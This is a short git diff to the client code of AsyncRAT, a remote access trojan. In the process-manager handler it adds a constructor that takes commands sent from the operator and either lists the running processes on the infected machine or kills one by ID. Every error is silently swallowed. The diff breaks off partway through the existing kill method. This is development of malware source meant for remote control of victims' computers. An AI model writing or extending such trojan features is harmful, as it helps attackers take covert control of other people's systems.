diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs index 3a4cd3f..23c3ebd 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs @@ -11,8 +11,30 @@ using System.Text; namespace Client.Handle_Packet { - public class HandleProcessManager + public class HandleProcessManager { + public HandleProcessManager(MsgPack unpack_msgpack) + { + try + { + switch (unpack_msgpack.ForcePathObject("Option").AsString) + { + case "List": + { + ProcessList(); + break; + } + + case "Kill": + { + ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString)); + break; + } + } + } + catch { } + } + public void ProcessKill(int ID) { foreach (var process in Process.GetProcesses())